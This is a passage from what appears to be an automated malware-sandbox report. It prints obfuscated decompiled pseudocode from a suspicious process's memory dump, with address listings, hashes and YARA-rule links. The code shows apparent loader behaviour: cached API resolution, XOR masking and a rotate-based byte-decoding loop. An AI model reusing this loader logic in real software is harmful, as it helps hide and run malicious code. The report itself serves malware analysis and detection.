								 *(_t300 + 0x41812f) =  *(_t300 + 0x41812f) ^ _t358 ^  *_t451 ^ _t278;
								_t337 = _t358;
							}
						}
						_push(_t278);
						_t282 = _v32;
						_v32 =  *(_t371 + 0x10);
						if( *(_t300 + 0x4185cb) == 0) {
							_t282 =  *((intOrPtr*)(_t300 + 0x45d024))();
							_v36 = _t371;
							 *(_t300 + 0x4185cb) = 0 ^ _t282;
							_t371 = 0;
						}
						_pop( *_t173);
						if( *(_t300 + 0x418273) == 0) {
							_t282 =  *((intOrPtr*)(_t300 + 0x45d020))();
							_v32 = _t310;
							 *(_t300 + 0x418273) = _t282;
							_t310 = 0;
						}
						_t284 = _t282 & 0x00000000 | _t402 & 0x00000000 ^ _a4;
						_t405 = _t402;
						if( *(_t300 + 0x418203) == 0) {
							_v32 = _v32 & 0x00000000;
							_v32 = _v32 | _t284;
							_t294 =  *((intOrPtr*)(_t300 + 0x45d020))();
							_v20 = _t371;
							 *(_t300 + 0x418203) = 0 ^ _t294;
							_t371 = _v20;
							_t284 = _t371;
						}
						_v16 = _v16 + _t284;
						if( *(_t300 + 0x4184ef) == 0) {
							_v32 =  *((intOrPtr*)(_t300 + 0x418127));
							_t371 = _v36;
							_v36 =  *((intOrPtr*)(_t300 + 0x4182f7));
							_v40 =  *((intOrPtr*)(_t300 + 0x4185f7));
							_t419 = _t405;
							_t421 = _v44;
							_v44 =  *((intOrPtr*)(_t300 + 0x41827f));
							_t284 =  *((intOrPtr*)(_t300 + 0x45d048))(_t451, _t419, _t405, _t371, _t310);
							 *(_t300 + 0x4184ef) =  *(_t300 + 0x4184ef) & 0x00000000;
							 *(_t300 + 0x4184ef) =  *(_t300 + 0x4184ef) | _t421 ^  *_t451 | _t284;
							_t405 = _t421;
						}
						 *_t200 =  *((intOrPtr*)(_t371 + 0xc));
						_push(_v20);
						_pop(_t309);
						if( *(_t300 + 0x418334) == 0) {
							_v32 = _v32 ^ _t300;
							_v32 = _v32 + _t309;
							_t324 = _v36;
							_v36 =  *((intOrPtr*)(_t300 + 0x41838d));
							_v40 =  *((intOrPtr*)(_t300 + 0x4185af));
							_t371 = _t371;
							_t436 = _v44;
							_v44 =  *((intOrPtr*)(_t300 + 0x418410));
							_t284 =  *((intOrPtr*)(_t300 + 0x45d03c))(_t284, _t309, _t300);
							_v20 = _t324;
							 *(_t300 + 0x418334) =  *(_t300 + 0x418334) & 0x00000000;
							 *(_t300 + 0x418334) =  *(_t300 + 0x418334) ^ (_t324 & 0x00000000 | _t284);
							_t309 = _t436;
						}
						_t310 = _t309 + _a4;
						if( *(_t300 + 0x418474) == 0) {
							_v32 = _v32 & 0x00000000;
							_v32 = _v32 + _t310;
							_t284 =  *((intOrPtr*)(_t300 + 0x45d020))();
							 *(_t300 + 0x418474) =  *(_t300 + 0x418474) & 0x00000000;
							 *(_t300 + 0x418474) =  *(_t300 + 0x418474) | _t337 - _v36 ^ _t284;
							_t337 = _t337;
							_t310 = _t337;
						}
						_t406 = _t405 + _a4;
						if( *(_t300 + 0x418020) == 0) {
							_v32 = _v32 - _t284;
							_v32 = _t310;
							_v36 =  *((intOrPtr*)(_t300 + 0x418493));
							_t337 = _v40;
							_v40 =  *((intOrPtr*)(_t300 + 0x418507));
							_v20 = _v20 & 0x00000000;
							_v44 = _v44 + _t300;
							 *_t451 =  *_t451 & 0x00000000;
							 *_t451 =  *_t451 ^ _t300;
							_t293 =  *((intOrPtr*)(_t300 + 0x45d044))(_v20, _v36, _t337, _t284);
							_v20 = _t371;
							 *(_t300 + 0x418020) =  *(_t300 + 0x418020) & 0x00000000;
							 *(_t300 + 0x418020) =  *(_t300 + 0x418020) | _t371 ^ _v20 | _t293;
							_t371 = _v20;
							_t310 = _t337;
						}
						_v32 = _t310;
						_t285 =  *((intOrPtr*)(_t300 + 0x45d00c))(_v20);
						_v12 = _v12 & 0x00000000;
						_v12 = _v12 ^ (_t300 - _v36 | _t285);
						_t300 = _t300;
						do {
							if(( *_t406 & 0x80000000) != 0) {
								_v36 =  *_t406;
								_t339 = _t337;
								 *_t259 = _t371;
								_v8 = _v8 & 0x0000ffff;
							} else {
								_v20 = 0;
								_push(_v20);
								_v36 = _v36 + _t406;
								_t346 = _t337;
								_v20 = _t346;
								_v8 = _v8 & 0x00000000;
								_v8 = _v8 ^ _t346 ^ _v20 ^  *_t406 + _a4 + 0x00000002;
								_t339 = _v20;
								_pop(_t406);
							}
							_push(_v8);
							_pop( *_t263);
							_push(_v20);
							_pop(_t286);
							_v36 = _v8;
							_t341 = _t339;
							_v20 = _t341;
							_t337 = _v20;
							_v40 = _v40 ^ _t436;
							_v40 = _v40 + (_t286 & 0x00000000 | _t341 & 0x00000000 | _v12);
							_t289 =  *((intOrPtr*)(_t300 + 0x45d008))(_t436, _t371);
							_push(_v20);
							_v44 = _t406;
							_t408 = _t406 & 0x00000000 ^ (_t371 & 0x00000000 | _v16);
							_t371 = _t371;
							_v20 = _t310;
							 *_t408 =  *_t408 & 0x00000000;
							 *_t408 =  *_t408 | _t310 & 0x00000000 ^ _t289;
							_t310 = _v20;
							_pop(_t409);
							_v44 = 4;
							_t278 = _t371;
							_t406 = _t409 + _t278;
							_v16 = _v16 + _t278;
						} while ( *_t406 != 0);
						_t371 =  &_a16;
						_t436 = _t436;
					} while ( *_t371 != 0 ||  *(_t371 + 0x10) != 0);
					_push(_t406);
					return _t278 ^ _t278;
				} else {
					if( *(_t300 + 0x4184e3) == 0) {
						_v32 =  *((intOrPtr*)(_t300 + 0x418253));
						_t436 = _v36;
						_v36 =  *((intOrPtr*)(_t300 + 0x4181ef));
						_v40 =  *((intOrPtr*)(_t300 + 0x41823b));
						_v20 = _v20 & 0x00000000;
						_v44 = _t451 + _v44;
						_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_v20, _t401, _t369, _v32, _t436);
						 *(_t300 + 0x4184e3) =  *(_t300 + 0x4184e3) & 0x00000000;
						 *(_t300 + 0x4184e3) =  *(_t300 + 0x4184e3) | _t308 & 0x00000000 ^ _t278;
						_t308 = _t308;
					}
					_pop(_t426);
					if( *((intOrPtr*)(_t300 + 0x41826f)) == 0) {
						_v28 =  *((intOrPtr*)(_t300 + 0x418587));
						_t443 = _t436;
						_v32 =  *((intOrPtr*)(_t300 + 0x418014));
						_t436 = _t443;
						_t308 = _v40;
						_v40 =  *(_t300 + 0x4182c7);
						_v44 =  *(_t300 + 0x4181ab);
						_t278 =  *((intOrPtr*)(_t300 + 0x45d048))(_t426, _t337, _t308, _t436, _t337, _t426);
						 *_t89 = _t278;
						_push(_v20);
						_pop( *_t91);
					}
					_pop(_t385);
					if( *(_t300 + 0x418593) == 0) {
						_v20 = _v20 & 0x00000000;
						_push(_v20);
						 *_t451 =  *_t451 + _t278;
						_v28 =  *((intOrPtr*)(_t300 + 0x4180a3));
						_push(_t308);
						_push(_v28);
						_v32 =  *(_t300 + 0x4185e7);
						_pop(_t389);
						_v36 =  *(_t300 + 0x4185bb);
						_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t389, _t337);
						_v20 = _t337;
						 *(_t300 + 0x418593) =  *(_t300 + 0x418593) & 0x00000000;
						 *(_t300 + 0x418593) =  *(_t300 + 0x418593) | _t337 & 0x00000000 | _t278;
					}
					if( *(_t300 + 0x4180cb) == 0) {
						_t297 =  *((intOrPtr*)(_t300 + 0x45d024))();
						_v20 = _t308;
						 *(_t300 + 0x4180cb) =  *(_t300 + 0x4180cb) & 0x00000000;
						 *(_t300 + 0x4180cb) =  *(_t300 + 0x4180cb) | _t308 & 0x00000000 ^ _t297;
						return _t297;
					}
					return _t278;
				}
			}

0x016c20ee
0x016c20ee
0x016c20ee
0x016c20ee
0x016c20ee
0x016c20ee
0x016c20ef
0x016c20f2
0x016c20f5
0x016c20f7
0x016c2101
0x016c2103
0x016c210b
0x016c2112
0x016c2118
0x016c2118
0x016c2119
0x016c211d
0x016c2120
0x016c212a
0x016c2133
0x016c2133
0x016c213d
0x016c2140
0x016c214a
0x016c2155
0x016c2159
0x016c215a
0x016c2166
0x016c216d
0x016c2173
0x016c2173
0x016c2174
0x016c2177
0x016c2181
0x016c2183
0x016c218a
0x016c218a
0x016c218d
0x016c2195
0x016c2199
0x016c219a
0x016c21a1
0x016c21a4
0x016c21a5
0x016c21ac
0x016c21b0
0x016c21b2
0x016c21b6
0x016c21b9
0x016c21bf
0x016c21c7
0x016c21ce
0x016c21d4
0x016c21d4
0x016c21d7
0x016c21e3
0x016c21e5
0x016c21ef
0x016c21f1
0x016c21fd
0x016c2204
0x016c220a
0x016c220a
0x016c220b
0x016c2215
0x016c221e
0x016c221e
0x016c2228
0x016c2228
0x016c222e
0x016c2231
0x016c2237
0x016c223f
0x016c2246
0x016c224c
0x016c224c
0x016c2256
0x016c23a1
0x016c23ae
0x016c23b0
0x016c23b6
0x016c23bd
0x016c23c3
0x016c23c3
0x016c23c6
0x016c23d0
0x016c23d2
0x016c23d8
0x016c23e0
0x016c23e7
0x016c23ed
0x016c23ed
0x016c23f0
0x016c23f3
0x016c2498
0x016c249f
0x016c24a1
0x016c24a9
0x016c24b3
0x016c24bf
0x016c24bf
0x016c24c9
0x016c24c9
0x016c24cc
0x016c24d2
0x016c24da
0x016c24e1
0x016c24e7
0x016c24e7
0x016c23f9
0x016c2400
0x016c2402
0x016c2408
0x016c240f
0x016c2415
0x016c2415
0x016c2418
0x016c2424
0x016c2426
0x016c2430
0x016c243a
0x016c243e
0x016c2440
0x016c2444
0x016c244f
0x016c2453
0x016c245b
0x016c245b
0x016c245e
0x016c246a
0x016c2471
0x016c2477
0x016c2477
0x016c2478
0x016c24ea
0x016c24ee
0x016c24ee
0x016c24f8
0x016c24fa
0x016c2502
0x016c2509
0x016c250f
0x016c250f
0x016c2510
0x016c251a
0x016c251c
0x016c2524
0x016c252b
0x016c2531
0x016c2531
0x016c253c
0x016c253e
0x016c2546
0x016c2549
0x016c254d
0x016c2550
0x016c2556
0x016c255d
0x016c2563
0x016c2566
0x016c2566
0x016c2567
0x016c2571
0x016c257a
0x016c2584
0x016c2584
0x016c258f
0x016c2593
0x016c259b
0x016c259b
0x016c259f
0x016c25ab
0x016c25b2
0x016c25b8
0x016c25b8
0x016c25bc
0x016c25bf
0x016c25c2
0x016c25ca
0x016c25cd
0x016c25d0
0x016c25da
0x016c25da
0x016c25e5
0x016c25e9
0x016c25f1
0x016c25f1
0x016c25f4
0x016c25fa
0x016c2602
0x016c2609
0x016c2612
0x016c2612
0x016c2613
0x016c261d
0x016c2620
0x016c2624
0x016c2627
0x016c2633
0x016c263a
0x016c2640
0x016c2641
0x016c2641
0x016c2642
0x016c264c
0x016c264f
0x016c2652
0x016c265c
0x016c2666
0x016c2666
0x016c2669
0x016c2670
0x016c2674
0x016c2678
0x016c267b
0x016c2681
0x016c2689
0x016c2690
0x016c2696
0x016c2699
0x016c2699
0x016c269d
0x016c26a0
0x016c26ac
0x016c26b0
0x016c26b3
0x016c26b4
0x016c26ba
0x016c26f3
0x016c26f7
0x016c26f8
0x016c26fb
0x016c26bc
0x016c26bc
0x016c26c3
0x016c26c6
0x016c26d9
0x016c26da
0x016c26e2
0x016c26e6
0x016c26e9
0x016c26ec
0x016c26ec
0x016c2702
0x016c2705
0x016c2708
0x016c270b
0x016c2711
0x016c2715
0x016c2716
0x016c2724
0x016c2728
0x016c272b
0x016c272e
0x016c2734
0x016c2737
0x016c2744
0x016c2746
0x016c2747
0x016c274f
0x016c2752
0x016c2754
0x016c2757
0x016c2759
0x016c2760
0x016c2761
0x016c2763
0x016c2766
0x016c2778
0x016c277a
0x016c277b
0x016c278e
0x016c2799
0x016c225c
0x016c2263
0x016c226c
0x016c2276
0x016c2276
0x016c2281
0x016c2286
0x016c228d
0x016c2290
0x016c229c
0x016c22a3
0x016c22a9
0x016c22a9
0x016c22aa
0x016c22b2
0x016c22bc
0x016c22c0
0x016c22c9
0x016c22cd
0x016c22d6
0x016c22d6
0x016c22e1
0x016c22e6
0x016c22ed
0x016c22f0
0x016c22f3
0x016c22f3
0x016c22f9
0x016c2301
0x016c2303
0x016c2307
0x016c230a
0x016c2314
0x016c2317
0x016c2318
0x016c231f
0x016c2323
0x016c232c
0x016c2331
0x016c2337
0x016c233f
0x016c2346
0x016c234c
0x016c2357
0x016c2359
0x016c235f
0x016c2367
0x016c236e
0x00000000
0x016c2374
0x016c2377
0x016c2377

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 190ef29eab26b44226983159a1f394aa4629ad48f98315d79de7dc04f91af78e
Instruction ID: 76af6423e56f727e00879d0aaa2c37f145c2799625779821b69d566a829500b3
Opcode Fuzzy Hash: 190ef29eab26b44226983159a1f394aa4629ad48f98315d79de7dc04f91af78e
Instruction Fuzzy Hash: 46227A32804615DFEB14CF64C9897BABBF5FF88B15F09846DDC889B246CB781450CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 016C4859, Relevance: .5, Instructions: 466
COMMONCrypto

Download Yara Rule

C-Code - Quality: 61%

			E016C4859(signed int __ebx, signed int __ecx, void* __edx, signed int __edi, signed int __esi, signed int _a4, signed int _a8) {
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void* __ebp;
				signed int _t217;
				signed int _t219;
				void* _t220;
				signed int _t221;
				signed int _t225;
				signed int _t230;
				signed int _t238;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t245;
				signed int _t248;
				signed int _t253;
				signed int _t261;
				void* _t264;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				signed int _t272;
				signed int _t274;
				int _t276;
				void* _t278;
				int _t279;
				void* _t310;
				signed int _t312;
				void* _t316;
				signed int _t323;
				signed int _t328;
				signed int _t330;
				void* _t333;
				signed int _t334;
				void* _t339;
				void* _t344;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				void* _t365;
				void* _t366;
				void* _t368;
				void* _t369;
				void* _t374;
				signed int _t376;
				signed int* _t384;

				_t359 = __esi;
				_t328 = __edi;
				_t310 = __edx;
				_t258 = __ecx;
				_t242 = __ebx;
				if( *(__ebx + 0x41819b) == 0) {
					_t241 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_push(__ecx);
					 *(__ebx + 0x41819b) =  *(__ebx + 0x41819b) & 0x00000000;
					 *(__ebx + 0x41819b) =  *(__ebx + 0x41819b) ^ (__ecx -  *_t384 | _t241);
					_pop(_t258);
				}
				 *_t384 =  *_t384 & 0x00000000;
				 *_t384 =  *_t384 + _t359;
				_v20 = _v20 & 0x00000000;
				 *_t384 =  *_t384 + _t242 + 0x418657;
				_t217 =  *((intOrPtr*)(_t242 + 0x45d018))(_v20, _t258);
				 *(_t242 + 0x418247) =  *(_t242 + 0x418247) & 0x00000000;
				 *(_t242 + 0x418247) =  *(_t242 + 0x418247) | _t258 & 0x00000000 ^ _t217;
				_t261 = _t258;
				_push(_v12);
				 *_t384 = _t328;
				if( *(_t242 + 0x4183d8) == 0) {
					_t240 =  *((intOrPtr*)(_t242 + 0x45d01c))();
					 *(_t242 + 0x4183d8) =  *(_t242 + 0x4183d8) & 0x00000000;
					 *(_t242 + 0x4183d8) =  *(_t242 + 0x4183d8) | _t328 & 0x00000000 ^ _t240;
					_t328 = _t328;
				}
				_t361 = _t359 & 0x00000000 | _t242 & 0x00000000 ^ _a4;
				_t245 = _t242;
				if( *(_t245 + 0x4184bb) == 0) {
					_t310 =  *_t384;
					 *_t384 =  *(_t245 + 0x4180d3);
					_v40 =  *((intOrPtr*)(_t245 + 0x418328));
					_t374 = _t374;
					_v44 = _t310;
					_t239 =  *((intOrPtr*)(_t245 + 0x45d040))(_v20, _t310, _t310);
					_v48 = _t261;
					 *(_t245 + 0x4184bb) = 0 ^ _t239;
					_t261 = 0;
				}
				_t330 = _t328 & 0x00000000 | _t245 & 0x00000000 ^ _a8;
				_t248 = _t245;
				_v20 = 0;
				 *_t384 =  *_t384 ^ _t248 + 0x0041830b;
				_t219 =  *((intOrPtr*)(_t248 + 0x45d018))(_v20);
				 *(_t248 + 0x418167) =  *(_t248 + 0x418167) & 0x00000000;
				 *(_t248 + 0x418167) =  *(_t248 + 0x418167) ^ _t261 ^ _v40 ^ _t219;
				_t264 = _t261;
				_push(_t219);
				_v40 =  *((intOrPtr*)(_t361 + 8));
				_t376 = _t374;
				if( *(_t248 + 0x4184bf) == 0) {
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))();
					 *(_t248 + 0x4184bf) =  *(_t248 + 0x4184bf) & 0x00000000;
					 *(_t248 + 0x4184bf) =  *(_t248 + 0x4184bf) ^ (_t330 ^ _v44 | _t219);
					_t330 = _t330;
				}
				_push(_v20);
				_v44 = _t330;
				if( *((intOrPtr*)(_t248 + 0x4180c7)) == 0) {
					_v48 =  *((intOrPtr*)(_t248 + 0x418207));
					_v20 = _v20 & 0x00000000;
					_v52 = _v52 + _t330;
					_v16 = _v16 & 0x00000000;
					_v56 = _v56 | _t219;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d03c))(_v16, _v20, _t264);
					 *_t60 = _t219;
					_push(_v20);
					_pop( *_t62);
				}
				 *_t64 =  *((intOrPtr*)(_t248 + 0x41823f));
				_push(_v12);
				_pop(_t265);
				if( *(_t248 + 0x418287) == 0) {
					_v16 = 0;
					_v48 = _v48 ^ _t265;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))(_v16);
					 *(_t248 + 0x418287) =  *(_t248 + 0x418287) & 0x00000000;
					 *(_t248 + 0x418287) =  *(_t248 + 0x418287) | _t265 & 0x00000000 | _t219;
					_t265 = _t265;
				}
				_t266 = _t265 + 0xfffffff0;
				_t333 = _t330;
				if( *(_t248 + 0x4182ef) == 0) {
					_v48 = _t266;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))(_v16);
					_v52 = _t376;
					 *(_t248 + 0x4182ef) = _t219;
					_t376 = 0;
					_pop(_t266);
				}
				_v20 = 0;
				_push(_v20);
				_v48 = _v48 | _t266;
				if( *(_t248 + 0x4184e7) == 0) {
					_v16 = 0;
					_v52 = _v52 | _t266;
					_v56 =  *((intOrPtr*)(_t248 + 0x418283));
					_v12 = 0;
					_v60 = _v60 ^ _t248;
					_v64 =  *((intOrPtr*)(_t248 + 0x41828f));
					_t238 =  *((intOrPtr*)(_t248 + 0x45d03c))(_t310, _v12, _t219, _v16);
					_v16 = _t266;
					 *(_t248 + 0x4184e7) =  *(_t248 + 0x4184e7) & 0x00000000;
					 *(_t248 + 0x4184e7) =  *(_t248 + 0x4184e7) ^ _t266 & 0x00000000 ^ _t238;
					_t266 = _t333;
				}
				do {
					asm("movsb");
					_t266 = _t266 - 1;
				} while (_t266 != 0);
				_pop(_t267);
				_pop(_t334);
				 *_t96 = _t334;
				_push(_v16);
				_pop(_t363);
				_v16 = 0;
				_push(_v16);
				_v44 = _v44 ^ _t248;
				do {
					_t220 =  *_t363 & 0x000000ff;
					_t363 = _t363 + 1;
					if(_t220 == 0) {
						goto L23;
					}
					_push(_t220);
					_v48 = _v48 - _t220;
					_v48 = _v48 ^ _t267;
					_push(_t248);
					_v52 = 1;
					_v12 = 0;
					_t310 = _t310 & 0x00000000 | 0 ^ _t363;
					_v8 = 8;
					do {
						asm("rol eax, cl");
						_t248 = _t220;
						_t220 = _t310;
						asm("ror ebx, cl");
						_t103 =  &_v8;
						 *_t103 = _v8 - 1;
					} while ( *_t103 != 0);
					_pop(_t267);
					_t220 = _t220 & 0x00000000 ^ _t334 ^ _v48 ^ _t248;
					_t334 = _t334;
					L23:
					asm("stosb");
					_t267 = _t267 - 1;
				} while (_t267 != 0);
				_pop(_t253);
				if( *(_t253 + 0x41854e) == 0) {
					_t220 =  *((intOrPtr*)(_t253 + 0x45d024))();
					 *(_t253 + 0x41854e) =  *(_t253 + 0x41854e) & 0x00000000;
					 *(_t253 + 0x41854e) =  *(_t253 + 0x41854e) ^ (_t267 ^ _v44 | _t220);
					_t267 = _t267;
				}
				if(_a4 != 0) {
					if( *((intOrPtr*)(_t253 + 0x4182e7)) == 0) {
						_v44 = _v44 + 8;
						_v44 = _v44 - _t363;
						_v48 =  *((intOrPtr*)(_t253 + 0x41835d));
						_t267 = _t267;
						_t334 = _v52;
						_v52 =  *((intOrPtr*)(_t253 + 0x41807b));
						_t220 =  *((intOrPtr*)(_t253 + 0x45d040))(_t334, _t220, _t363);
						 *_t118 = _t220;
						_push(_v16);
						_pop( *_t120);
					}
					if(_a8 != 0) {
						if( *(_t253 + 0x4185b7) == 0) {
							_t363 = _v44;
							_v44 =  *((intOrPtr*)(_t253 + 0x41804b));
							_v48 =  *((intOrPtr*)(_t253 + 0x418067));
							_t310 = _t310;
							_v52 =  *((intOrPtr*)(_t253 + 0x4181c3));
							_t376 = _t376;
							_t220 =  *((intOrPtr*)(_t253 + 0x45d040))(_t220, _t334, _t363);
							_v12 = _t267;
							 *(_t253 + 0x4185b7) =  *(_t253 + 0x4185b7) & 0x00000000;
							 *(_t253 + 0x4185b7) =  *(_t253 + 0x4185b7) ^ _t267 & 0x00000000 ^ _t220;
							_t267 = _v12;
						}
						_v44 = _a4;
						_t323 = _t310;
						_t138 = _t253 + 0x4183a9; // 0x4183a9
						_v48 = _t138;
						_push( *((intOrPtr*)(_t253 + 0x45d018))(_v16, _t220));
						_pop( *_t141);
						_push(_v20);
						_pop( *_t143);
						_push(_t253);
						_v52 = _a8;
						_t253 = _t253;
						if( *(_t253 + 0x4185ab) == 0) {
							_v56 =  *((intOrPtr*)(_t253 + 0x4183b4));
							_t363 = _t363;
							_v60 =  *((intOrPtr*)(_t253 + 0x418613));
							_t267 = _t267;
							_v64 = _v64 & 0x00000000;
							_v64 = _v64 ^ _t323;
							_t234 =  *((intOrPtr*)(_t253 + 0x45d03c))(_t334, _t334, _t334);
							 *_t384 = _t323;
							 *(_t253 + 0x4185ab) = 0 ^ _t234;
							_t323 = 0;
						}
						_t220 = E016C1918(_t234, _t267, _t323, _t334, _t363);
						if( *((intOrPtr*)(_t253 + 0x4184db)) == 0) {
							_v48 = _v48 - _t253;
							_v48 = _v48 ^ _t323;
							_v52 =  *((intOrPtr*)(_t253 + 0x418389));
							_v56 = _v56 - _t363;
							_v56 = _v56 ^ _t323;
							_t267 = _v60;
							_v60 =  *((intOrPtr*)(_t253 + 0x41852b));
							_t220 =  *((intOrPtr*)(_t253 + 0x45d044))(_v52, _t363, _t267, _t253);
							 *_t159 = _t220;
							_push(_v20);
							_pop( *_t161);
						}
					}
				}
				_pop(_t312);
				if( *(_t253 + 0x418318) == 0) {
					_v12 = 0;
					_v40 = _v40 | _t312;
					_v44 =  *((intOrPtr*)(_t253 + 0x418483));
					_t334 = _v48;
					_v48 =  *((intOrPtr*)(_t253 + 0x4181f3));
					_v52 = _v52 ^ _t253;
					_v52 = _t363;
					_v56 =  *((intOrPtr*)(_t253 + 0x41815b));
					_t376 = _t376;
					_v60 =  *(_t253 + 0x4183a1);
					_t267 = _t267;
					_t220 =  *((intOrPtr*)(_t253 + 0x45d048))(_t267, _t267, _t253, _t334, _t220, _v12);
					 *(_t253 + 0x418318) =  *(_t253 + 0x418318) & 0x00000000;
					 *(_t253 + 0x418318) =  *(_t253 + 0x418318) | _t312 & 0x00000000 ^ _t220;
					_t312 = _t312;
				}
				if(_t312 > 0) {
					if( *(_t253 + 0x4181af) == 0) {
						_v40 = _v40 + 0x400;
						_v40 = _v40 - _t253;
						_v44 =  *((intOrPtr*)(_t253 + 0x418478));
						_v48 =  *((intOrPtr*)(_t253 + 0x41811b));
						_v52 =  *((intOrPtr*)(_t253 + 0x418143));
						_v56 = _v56 & 0x00000000;
						_v56 = _v56 ^ _t253;
						_t230 =  *((intOrPtr*)(_t253 + 0x45d048))(_t220, _t363, _t267, _t376, _t312, _t253);
						 *(_t253 + 0x4181af) =  *(_t253 + 0x4181af) & 0x00000000;
						 *(_t253 + 0x4181af) =  *(_t253 + 0x4181af) | _t312 & 0x00000000 ^ _t230;
						_t312 = _t312;
					}
					_v16 = _t253;
					_t339 = _t334 & 0x00000000 | _t253 & 0x00000000 | _a4;
					_push(_v12);
					_v40 = _t339;
					_push(0);
					_v44 = _t312;
					_v44 = 0 ^  *(_t339 + 4);
					_t221 =  *(_t339 + 8);
					_t272 = 0;
					_v16 = _v16 & 0x00000000;
					_push(_v16);
					_v44 = _v44 | _t272;
					_v16 = _v16 & 0x00000000;
					_push(_v16);
					_v48 = _v48 ^ _t272;
					 *_t202 = _t221;
					_push(_v12);
					_pop(_t316);
					_push(_a8);
					_pop( *_t205);
					_push(_v12);
					_pop(_t365);
					_push(_v48);
					_v52 = _v52 - _t316;
					_pop(_t274);
					_t366 = _t365 + _t274;
					_v16 = _t221;
					_t276 = _t274 & 0x00000000 | _t221 ^ _v16 ^  *(_t339 + 8);
					_t225 = memcpy(_t339, _t366, _t276);
					_v12 = _t225;
					_t368 = _t366 & 0x00000000 ^ (_t225 ^ _v12 | _a8);
					_pop(_t278);
					_push(_t366 + _t276 + _t276);
					_t279 = _t278 - _t316;
					_pop(_t344);
					memcpy(_t344, _t368, _t279);
					_push(0);
					_pop(_t369);
					_t220 = memcpy(_t368 + _t279 + _t279 & 0x00000000 ^ 0x0 ^ _v48 ^ _a8, _t369, 0);
				}
				return _t220;
			}

0x016c4859
0x016c4859
0x016c4859
0x016c4859
0x016c4859
0x016c4866
0x016c4868
0x016c486e
0x016c4874
0x016c487b
0x016c4881
0x016c4881
0x016c4883
0x016c4887
0x016c4890
0x016c4897
0x016c489a
0x016c48a6
0x016c48ad
0x016c48b3
0x016c48b4
0x016c48b7
0x016c48c1
0x016c48c3
0x016c48cf
0x016c48d6
0x016c48dc
0x016c48dc
0x016c48e7
0x016c48e9
0x016c48f1
0x016c48fa
0x016c48fa
0x016c4905
0x016c4909
0x016c490d
0x016c4910
0x016c4918
0x016c491f
0x016c4925
0x016c4925
0x016c4930
0x016c4932
0x016c4939
0x016c4943
0x016c4946
0x016c4952
0x016c4959
0x016c495f
0x016c4960
0x016c4965
0x016c4969
0x016c4971
0x016c4973
0x016c497f
0x016c4986
0x016c498c
0x016c498c
0x016c498d
0x016c4990
0x016c499a
0x016c49a3
0x016c49a6
0x016c49ad
0x016c49b0
0x016c49b7
0x016c49ba
0x016c49c1
0x016c49c4
0x016c49c7
0x016c49c7
0x016c49d3
0x016c49d6
0x016c49d9
0x016c49e1
0x016c49e3
0x016c49ed
0x016c49f0
0x016c49fc
0x016c4a03
0x016c4a0a
0x016c4a0a
0x016c4a14
0x016c4a16
0x016c4a1e
0x016c4a23
0x016c4a26
0x016c4a2e
0x016c4a35
0x016c4a3b
0x016c4a3c
0x016c4a3c
0x016c4a3d
0x016c4a44
0x016c4a47
0x016c4a51
0x016c4a53
0x016c4a5d
0x016c4a67
0x016c4a6a
0x016c4a74
0x016c4a7f
0x016c4a84
0x016c4a8a
0x016c4a92
0x016c4a99
0x016c4aa2
0x016c4aa2
0x016c4aa5
0x016c4aa5
0x016c4aa6
0x016c4aa6
0x016c4aa9
0x016c4aaa
0x016c4aac
0x016c4aaf
0x016c4ab2
0x016c4ab3
0x016c4aba
0x016c4abd
0x016c4ac0
0x016c4ac0
0x016c4ac3
0x016c4ac6
0x00000000
0x00000000
0x016c4ac8
0x016c4ac9
0x016c4acc
0x016c4acf
0x016c4ad0
0x016c4add
0x016c4ae8
0x016c4aed
0x016c4af4
0x016c4af4
0x016c4af6
0x016c4af8
0x016c4afa
0x016c4afc
0x016c4afc
0x016c4afc
0x016c4b01
0x016c4b0b
0x016c4b0d
0x016c4b0e
0x016c4b0e
0x016c4b0f
0x016c4b0f
0x016c4b12
0x016c4b1a
0x016c4b1c
0x016c4b28
0x016c4b2f
0x016c4b35
0x016c4b35
0x016c4b3a
0x016c4b47
0x016c4b4a
0x016c4b4e
0x016c4b59
0x016c4b5d
0x016c4b65
0x016c4b65
0x016c4b68
0x016c4b6f
0x016c4b72
0x016c4b75
0x016c4b75
0x016c4b7f
0x016c4b8c
0x016c4b95
0x016c4b95
0x016c4ba0
0x016c4ba4
0x016c4bad
0x016c4bb1
0x016c4bb2
0x016c4bb8
0x016c4bc0
0x016c4bc7
0x016c4bcd
0x016c4bcd
0x016c4bd5
0x016c4bd9
0x016c4bda
0x016c4be3
0x016c4bec
0x016c4bed
0x016c4bf0
0x016c4bf3
0x016c4bf9
0x016c4bfe
0x016c4c02
0x016c4c0a
0x016c4c14
0x016c4c18
0x016c4c21
0x016c4c25
0x016c4c27
0x016c4c2b
0x016c4c2e
0x016c4c36
0x016c4c3d
0x016c4c43
0x016c4c43
0x016c4c44
0x016c4c50
0x016c4c53
0x016c4c56
0x016c4c60
0x016c4c64
0x016c4c67
0x016c4c71
0x016c4c71
0x016c4c74
0x016c4c7b
0x016c4c7e
0x016c4c81
0x016c4c81
0x016c4c50
0x016c4b7f
0x016c4c87
0x016c4c8f
0x016c4c91
0x016c4c9b
0x016c4ca5
0x016c4caf
0x016c4caf
0x016c4cb3
0x016c4cb6
0x016c4cc1
0x016c4cc5
0x016c4cce
0x016c4cd2
0x016c4cd3
0x016c4cdf
0x016c4ce6
0x016c4ced
0x016c4ced
0x016c4cf1
0x016c4cfe
0x016c4d01
0x016c4d08
0x016c4d13
0x016c4d1f
0x016c4d29
0x016c4d2d
0x016c4d31
0x016c4d34
0x016c4d40
0x016c4d47
0x016c4d4d
